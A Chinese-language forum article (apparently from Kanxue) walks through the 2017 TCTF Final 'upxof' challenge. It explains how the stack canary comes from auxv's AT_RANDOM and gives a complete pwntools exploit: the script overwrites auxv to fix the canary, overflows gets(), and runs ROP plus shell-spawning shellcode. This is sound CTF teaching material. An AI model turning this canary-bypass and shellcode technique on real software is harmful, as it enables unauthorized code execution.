查看原文
其他

利用auxv控制canary

微笑明天 看雪学院 2021-03-07

本文为看雪论坛优秀文章

看雪论坛作者ID:微笑明天



利用绕过canary的另一种方法。通过修改AUXV(Auxiliary Vector)结构体使 canary 值可控。因为在ld的时候,canary是通过AUXV中的一个成员生成的。



2017-TCTF-Final-upxof



题目文件:
https://github.com/pcy190/learn_pwn/tree/master/canary/2017-TCTF-Final-pwn-upxof


分析



happy@ubuntu  ~/pwn/20170602-TCTF-Final/pwn-upxof  checksec upxof
[*] '/home/happy/pwn/20170602-TCTF-Final/pwn-upxof/upxof'
    Arch: amd64-64-little
    RELRO: No RELRO
    Stack: No canary found
    NX: NX disabled
    PIE: No PIE (0x400000)
    RWX: Has RWX segments
    Packer: Packed with UPX


发现upx有壳,upx -d一下(附件中depack文件时脱壳后的),然后发现脱壳后的程序有canary。

happy@ubuntu  ~/pwn/20170602-TCTF-Final/pwn-upxof  checksec depack
[*] '/home/happy/pwn/20170602-TCTF-Final/pwn-upxof/depack'
    Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: Canary found
    NX: NX enabled
    PIE: No PIE (0x400000)

脱壳后的main函数,很明显gets有个栈溢出。但是有canary,这里通过修改AUXV中的AT_RANDOM来控制我们的canary,后面会介绍。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-410h]
  unsigned __int64 v5; // [rsp+408h] [rbp-8h]
 
  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  printf("let's go:", 0LL);
  gets(&v4);
  return 0;
}



Auxiliary Vector & Canary原理分析



简言之,canary是由ld.so进行初始化的,而这个值又是通过Auxiliary Vector。

参考:
https://www.elttam.com.au/blog/playing-with-canaries/

auxv结构可以在elf/elf.h里看到:

/* Auxiliary vector. */
 
/* This vector is normally only used by the program interpreter. The
   usual definition in an ABI supplement uses the name auxv_t. The
   vector is not usually defined in a standard <elf.h> file, but it
   can't hurt. We rename it to avoid conflicts. The sizes of these
   types are an arrangement between the exec server and the program
   interpreter, so we don't fully specify them here. */

 
typedef struct
{

  uint32_t a_type; /* Entry type */
  union
    {
      uint32_t a_val; /* Integer value */
      /* We use to have pointer elements added here. We cannot do that,
     though, since it does not work when using 32-bit definitions
     on 64-bit platforms and vice versa. */

    } a_un;
} Elf32_auxv_t;
 
typedef struct
{

  uint64_t a_type; /* Entry type */
  union
    {
      uint64_t a_val; /* Integer value */
      /* We use to have pointer elements added here. We cannot do that,
     though, since it does not work when using 32-bit definitions
     on 64-bit platforms and vice versa. */

    } a_un;
} Elf64_auxv_t;

这是一个entry struct,以AT_HWCAP为例,这个结构体就会是p64(entry_type_no) + a_un。

这个a_type的取值可以参见源码,以下列举部分:

/* Legal values for a_type (entry type). */
 
#define AT_NULL 0 /* End of vector */
#define AT_IGNORE 1 /* Entry should be ignored */
#define AT_EXECFD 2 /* File descriptor of program */
#define AT_PHDR 3 /* Program headers for program */
#define AT_PHENT 4 /* Size of program header entry */
#define AT_PHNUM 5 /* Number of program headers */
#define AT_PAGESZ 6 /* System page size */
#define AT_BASE 7 /* Base address of interpreter */
#define AT_FLAGS 8 /* Flags */
#define AT_ENTRY 9 /* Entry point of program */
#define AT_NOTELF 10 /* Program is not ELF */
#define AT_UID 11 /* Real uid */
#define AT_EUID 12 /* Effective uid */
#define AT_GID 13 /* Real gid */
#define AT_EGID 14 /* Effective gid */
#define AT_CLKTCK 17 /* Frequency of times() */
...
/* This entry gives some information about the FPU initialization
   performed by the kernel. */

#define AT_FPUCW 18 /* Used FPU control word. */
...
/* A special ignored value for PPC, used by the kernel to control the
   interpretation of the AUXV. Must be > 16. */

#define AT_IGNOREPPC 22 /* Entry should be ignored. */
 
#define    AT_SECURE 23 /* Boolean, was exec setuid-like? */
 
#define AT_BASE_PLATFORM 24 /* String identifying real platforms.*/
 
#define AT_RANDOM 25 /* Address of 16 random bytes. */
 
#define AT_HWCAP2 26 /* More machine-dependent hints about
                       processor capabilities. */

 
#define AT_EXECFN 31 /* Filename of executable. */
...

我们关注的是这里面的AT_RANDOM,在libc中,它和生成canary有着紧密的关系。

static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void *dl_random)
{
  union
  {
    uintptr_t num;
    unsigned char bytes[sizeof (uintptr_t)];
  } ret = { 0 };
 
  if (dl_random == NULL)
    {
      ret.bytes[sizeof (ret) - 1] = 255;
      ret.bytes[sizeof (ret) - 2] = '\n';
    }
  else
    {
      memcpy (ret.bytes, dl_random, sizeof (ret));
#if BYTE_ORDER == LITTLE_ENDIAN
 
      ret.num &= ~(uintptr_t) 0xff;
#elif BYTE_ORDER == BIG_ENDIAN
 
      ret.num &= ~((uintptr_t) 0xff << (8 * (sizeof (ret) - 1)));
#else
 
#error "BYTE_ORDER unknown"
 
#endif
 
    }
  return ret.num;
}

也就是说,canary是通过dl_random上设置的。

通过测试和文章分析可知,AUXV结构体中AT_RANDOM的值对应了canary的值(The value is a pointer to sixteen random bytes provided by the kernel. The dynamic linker uses this to implement a stack canary)

上面的这篇文章也介绍了通过程序获取auxv的方法:

#include <sys/auxv.h>
unsigned long int getauxval(unsigned long int type);

其中,type传入auxv的a_type即可。
 
我们可以写一个带canary的程序,编译的时候gcc的选项带上-fstack-protector-all:

pwndbg> info auxv
33 AT_SYSINFO_EHDR System-supplied DSO's ELF header 0x7ffff7ffa000
16 AT_HWCAP Machine-dependent CPU capability hints 0x1f8bfbff
6 AT_PAGESZ System page size 4096
17 AT_CLKTCK Frequency of times() 100
3 AT_PHDR Program headers for program 0x400040
4 AT_PHENT Size of program header entry 56
5 AT_PHNUM Number of program headers 9
7 AT_BASE Base address of interpreter 0x7ffff7dd7000
8 AT_FLAGS Flags 0x0
9 AT_ENTRY Entry point of program 0x4004e0
11 AT_UID Real user ID 1000
12 AT_EUID Effective user ID 1000
13 AT_GID Real group ID 1000
14 AT_EGID Effective group ID 1000
23 AT_SECURE Boolean, was exec setuid-like? 0
25 AT_RANDOM Address of 16 random bytes 0x7fffffffe1f9
26 AT_HWCAP2 Extension of AT_HWCAP 0x0
31 AT_EXECFN File name of executable 0x7fffffffefc5 "/home/happy/pwn/20170602-TCTF-Final/pwn-upxof/test"
15 AT_PLATFORM String identifying platform 0x7fffffffe209 "x86_64"
0 AT_NULL End of vector 0x0

然后看一下AT_RANDOM这个地址的值。

pwndbg> x/gx 0x7fffffffe1f9
0x7fffffffe1f9: 0x5b3648d106233604
pwndbg> canary
AT_RANDOM = 0x7fffffffe1f9 # points to (not masked) global canary value
Canary = 0x5b3648d106233600
No valid canaries found on the stacks.

还有比较重要的是,程序一开始AT_RANDOM、AT_EXECFN、AT_PLATFORM和其他的值都会被 push 到栈上。


最后基本可以知道canary的起源是如下的方式:

kernel---->AT_RANDOM---->fs:[0x28]---->canary

也就是说,如果我们可以在ld之前修改auxv struct,当程序调用ld后,我们就能控制canary了。


利用思路



1. 在程序还没有链接的时候把auxv的结构体覆盖,修改AT_RANDOM以设置canary为已知的值。

2. 接下来直接溢出做 ROP 或者直接跳到 shellcode 上。
关于修改auxv细节The auxv structure above is everything. The at_random address gdb tells you is found using that structure. So, you CANNOT just use the address of at_random info auxv to see if the at_random is modified. Actually, at_random's address is contained in that structure, it is like p64(0x19) + p64(at_random_addr). To actually modify the at_random, the only thing you can do is to modify that address followed by the 0x19 number in the auxv. Changed it to point to some address which we already know the contents. (I used the address which is initiated to zero here)
大意就是我们要修改at_random的那个指针,确保这个指针指向的内容我们已知或者可控。
 
upx壳是有意义的,其不仅提供了RWX段。而且我们可以在没有被脱壳解密的情况下,没有被载入前覆盖掉auxv。第一次加载壳的时候可以输入长为0x4096的字符串,前八位则要求必须是12345678才能过 check。接下来解壳之后就可以溢出到auxv。

注意,我们覆写auxv的时候不需要把每个种类的Elf64_auxv_t都写上,除了必要的AT_RANDOM外,详见exp。


确定溢出距离



sub_40099E是start第一个运行的函数。

程序刚进入这个函数后就pop rsi,而后rsp在读入之前就没有变。

LOAD:000000000040099E sub_40099E proc near ; CODE XREF: start+7↑p
LOAD:000000000040099E
LOAD:000000000040099E arg_0 = qword ptr 8
LOAD:000000000040099E arg_8 = qword ptr 10h
LOAD:000000000040099E
LOAD:000000000040099E ; FUNCTION CHUNK AT LOAD:0000000000400C21 SIZE 00000008 BYTES
LOAD:000000000040099E
LOAD:000000000040099E pop rsi ; buf
LOAD:000000000040099F mov rdi, 1          ; fd
LOAD:00000000004009A6 mov rdx, 9          ; count
LOAD:00000000004009AD mov rax, 1
LOAD:00000000004009B4 syscall ; LINUX - sys_write
LOAD:00000000004009B6 mov r9, 0
LOAD:00000000004009BD mov [rsp-8+arg_0], r9
LOAD:00000000004009C2
LOAD:00000000004009C2 loc_4009C2: ; CODE XREF: sub_40099E+7C↓j
LOAD:00000000004009C2 mov r9, [rsp-8+arg_0]
LOAD:00000000004009C7 cmp r9, 4096h
LOAD:00000000004009CE jz short loc_400A1C
LOAD:00000000004009D0 mov rdi, 0          ; fd
LOAD:00000000004009D7 mov rsi, rsp
LOAD:00000000004009DA add     rsi, r9
LOAD:00000000004009DD add     rsi, 8          ; buf
LOAD:00000000004009E1                 mov rdx, 1          ; count
LOAD:00000000004009E8                 mov rax, 0
LOAD:00000000004009EF syscall ; LINUX - sys_read
LOAD:00000000004009F1 cmp rax, 1

我们在0x4009E1下断点,第一次断下来的时候,rsi就是buf的起始地址了。

第一次断在0x4009E1的时候:

pwndbg> info r rsi rsp
rsi 0x7fffffffde08 140737488346632
rsp 0x7fffffffde00 0x7fffffffde00

然后查看栈上auxv的距离:

pwndbg> stack 120
00:0000│ rsp 0x7fffffffde00 ◂— 0x0
... ↓
10:00800x7fffffffde80 ◂— 0x1
11:00880x7fffffffde88 —▸ 0x7fffffffe214 ◂— '/home/happy/pwn/20170602-TCTF-Final/pwn-upxof/upxof'
12:00900x7fffffffde90 ◂— 0x0
13:00980x7fffffffde98 —▸ 0x7fffffffe248 ◂— 'XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0'
14:00a0│ 0x7fffffffdea0 —▸ 0x7fffffffe27c ◂— 'XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/usr/share/upstart/xdg:/etc/xdg'
...(massive env pointers)
53:02980x7fffffffe098 —▸ 0x7fffffffefaf ◂— 'LINES=48'
54:02a0│ 0x7fffffffe0a0 —▸ 0x7fffffffefb8 ◂— 'COLUMNS=135'
55:02a8│ 0x7fffffffe0a8 ◂— 0x0
56:02b0│ 0x7fffffffe0b0 ◂— 0x21 /* '!' */
57:02b8│ 0x7fffffffe0b8 —▸ 0x7ffff7ffd000 ◂— jg 0x7ffff7ffd047
58:02c0│ 0x7fffffffe0c0 ◂— 0x10
59:02c8│ 0x7fffffffe0c8 ◂— 0x1f8bfbff
5a:02d0│ 0x7fffffffe0d0 ◂— 0x6
5b:02d8│ 0x7fffffffe0d8 ◂— 0x1000
5c:02e00x7fffffffe0e0 ◂— 0x11
5d:02e80x7fffffffe0e8 ◂— 0x64 /* 'd' */
5e:02f0│ 0x7fffffffe0f0 ◂— 0x3
5f:02f8│ 0x7fffffffe0f8 —▸ 0x400040 ◂— add dword ptr [rax], eax
60:03000x7fffffffe100 ◂— 0x4
61:03080x7fffffffe108 ◂— 0x38 /* '8' */
62:03100x7fffffffe110 ◂— 0x5
63:03180x7fffffffe118 ◂— 0x2
64:03200x7fffffffe120 ◂— 0x7
65:03280x7fffffffe128 ◂— 0x0
66:03300x7fffffffe130 ◂— 0x8
67:03380x7fffffffe138 ◂— 0x0
68:03400x7fffffffe140 ◂— 9 /* '\t' */
69:03480x7fffffffe148 —▸ 0x400988 ◂— sub rsp, 0x80
6a:03500x7fffffffe150 ◂— 0xb /* '\x0b' */
6b:03580x7fffffffe158 ◂— 0x3e8
6c:03600x7fffffffe160 ◂— 0xc /* '\x0c' */
6d:03680x7fffffffe168 ◂— 0x3e8
6e:03700x7fffffffe170 ◂— 0xd /* '\r' */
6f:03780x7fffffffe178 ◂— 0x3e8
70:03800x7fffffffe180 ◂— 0xe
71:03880x7fffffffe188 ◂— 0x3e8
72:03900x7fffffffe190 ◂— 0x17
73:03980x7fffffffe198 ◂— 0x0
74:03a0│ 0x7fffffffe1a0 ◂— 0x19
75:03a8│ 0x7fffffffe1a8 —▸ 0x7fffffffe1f9 ◂— 0xc0d54f3a714d6d9a
76:03b0│ 0x7fffffffe1b0 ◂— 0x1a
77:03b8│ 0x7fffffffe1b8 ◂— 0x0

我们发现0x7fffffffe1a8地址处保存了RANDOM的指针,距buf偏移为0x03a8-0x8。

我们修改的时候还要修改其a_type,也就是0x7fffffffe1a0地址处表示的0x19。

0x7fffffffe0b0地址开始就是auxv的开始地址,之前和env数组有一个0的分隔。我们在覆盖的时候,不必将auxv每一个a_type对应的值都覆写上。

0x7fffffffde80处的1保存的是argc(参数个数)。0x7fffffffde88则是argv
 
控制canary之后,我们只要通过ROP,在RWX段用gets写入shellcode,然后执行即可。


exp



from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p=process("./upxof")
p.recvuntil("password:")
payload = '12345678'
payload += p64(0) * 14
payload += p64(1) # argc
payload += p64(0x400008) # argv
payload += p64(0)
payload += p64(0x400008) * 42 # envp
payload += p64(0)
# aux vector
# payload += p64(0x21)
# payload += p64(0x7ffff7ffd000)
# payload += p64(0x10) # AT_HWCAP
# payload += p64(0x1f8bfbff)
# payload += p64(0x6) # AT_PAGESZ
# payload += p64(0x1000)
# payload += p64(0x11) # AT_CLKTCK
# payload += p64(0x64)
payload += p64(0x3) # AT_PHDR
payload += p64(0x400040)
# payload += p64(0x4) # AT_PHENT
# payload += p64(0x38)
payload += p64(0x5) # AT_PHNUM
payload += p64(0x2)
# payload += p64(0x7) # AT_BASE
# payload += p64(0x0)
# payload += p64(0x8) # AT_FLAGS
# payload += p64(0x0)
payload += p64(0x9) # AT_ENTRY
payload += p64(0x400988)
# payload += p64(0xb) # AT_UID
# payload += p64(0x0)
# payload += p64(0xc) # AT_EUID
# payload += p64(0x0)
# payload += p64(0xd) # AT_GID
# payload += p64(0x0)
# payload += p64(0xe) # AT_EGID
# payload += p64(0x0)
# payload += p64(0x17) # AT_SECURE
# payload += p64(0x0)
payload += p64(0x19) # AT_RANDOM
payload += p64(0x8000a0) # data at 0x8000a0 is 0, so we control canary with 0
# payload += p64(0x1f) # AT_EXECFN
# payload += p64(0x7fffffffeff0) # --> 0x666f7870752f2e ('./upxof')
# payload += p64(0xf) # AT_PLATFORM
# payload += p64(0x7fffffffe659) # --> 0x34365f363878 ('x86_64')
payload+=p64(0)
payload+=p64(0)
p.sendline(payload)
p.recvuntil('go:')
pop_rdi = 0x4007f3
gets = 0x4005B0
p.sendline(flat('\x00' * 1048, pop_rdi, 0x00800000, gets, 0x00800000)) # write shellcode to RWX 0x8000a0
p.sendline(asm(shellcraft.sh()))
p.interactive()
# gdb.attach(p,"b *0x400A1C")
# p.interactive()



PS



经测试,auxv覆盖的时候,下面的成员值一定要保证正确覆写。

AT_PHDR 0x3
AT_PHENT 0x4
AT_PHNUM 0x5
AT_ENTRY 0x9

其他成员不写上调试的时候也没有出问题。


参考



https://github.com/D-I-E/writeups/tree/master/2017-ctfs/20170602-TCTF-Final/pwn-upxof


https://qianfei11.github.io/2019/02/15/%E7%BB%95%E8%BF%87ELF%E7%9A%84%E5%AE%89%E5%85%A8%E9%98%B2%E6%8A%A4%E6%9C%BA%E5%88%B6Canary/#2017-TCTF-Final-upxof


https://www.elttam.com.au/blog/playing-with-canaries/




- End -






看雪ID:微笑明天

https://bbs.pediy.com/user-821225.htm 

*本文由看雪论坛  微笑明天  原创,转载请注明来自看雪社区





推荐文章++++

Android某社区加密参数分析

CVE-2018-0802栈溢出漏洞个人分析

Linux kernel中常见的宏整理

PE头分析详解和VC++代码实现

虚幻4(ue4)引擎加密pak解包教程(初学者向x64源码逆向)


进阶安全圈,不得不读的一本书






公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



“阅读原文”一起来充电吧!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存